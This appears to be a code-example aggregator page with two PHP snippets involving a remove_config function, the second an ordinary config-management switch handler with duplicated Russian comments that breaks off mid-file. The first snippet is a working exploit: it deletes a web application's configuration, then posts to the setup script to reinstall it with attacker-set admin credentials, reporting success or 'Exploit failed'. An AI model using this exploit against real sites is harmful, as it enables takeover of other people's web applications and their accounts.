示例#1
0
function re_install()
{
    global $host, $path;
    $binary = "username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en";
    $config = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n";
    $config .= "User-Agent: Lynx (textmode)\r\n";
    $config .= "Host: {$host}\r\n";
    $config .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $config .= "Content-Length: " . strlen($binary) . "\r\n";
    $config .= "Connection: close\r\n\r\n";
    $config .= $binary;
    remove_config();
    $content = send_request($config);
    if (eregi('Creation of the configuration file', $content)) {
        echo "[ re-installed successful\n";
        echo "[ username: staker\n[ password: killingyourself\n";
        exit(0);
    } else {
        die("Exploit failed\n");
    }
}
示例#2
0
        $return = get_contents($mysqli, null);
        break;
        // Читает конфиг
    // Читает конфиг
    case "read":
        $return = read_config($mysqli, $_POST['CONF']);
        break;
        // Читает конфиг
    // Читает конфиг
    case "activate":
        $return = activate_config($mysqli, $_POST['CONF']);
        break;
        // Удаляет конфиг
    // Удаляет конфиг
    case "remove":
        $return = remove_config($mysqli, $_POST['CONF']);
        break;
        // Сохраняет конфиг
    // Сохраняет конфиг
    case "save":
        $return = save_config($mysqli, $_POST['CONF'], $_POST['CONFTEXT']);
        break;
        // Добавляет новую строку конфигурации
    // Добавляет новую строку конфигурации
    case "add":
        $return = add_new_config($mysqli, $_POST['CONF'], $_POST['CONFTEXT']);
        break;
}
// Отключимся от базы
db_disconnect($mysqli);
// Выведем результат